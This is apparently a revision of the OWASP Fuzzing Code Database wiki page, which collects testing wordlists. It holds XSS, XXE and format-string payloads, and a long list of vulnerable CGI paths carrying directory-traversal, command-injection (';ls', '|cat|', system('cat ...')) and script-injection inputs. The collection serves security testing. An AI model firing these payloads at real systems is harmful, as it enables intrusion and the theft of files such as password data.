&quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80073 2010-03-17T21:05:49Z

<p>Adam.muntner: /* Windows Directory Traversal (Update: 17 March 2009 */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''02 February 2010'''' <br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (7 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (7 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin<br /> # on unix, usually /cgi-bin<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> 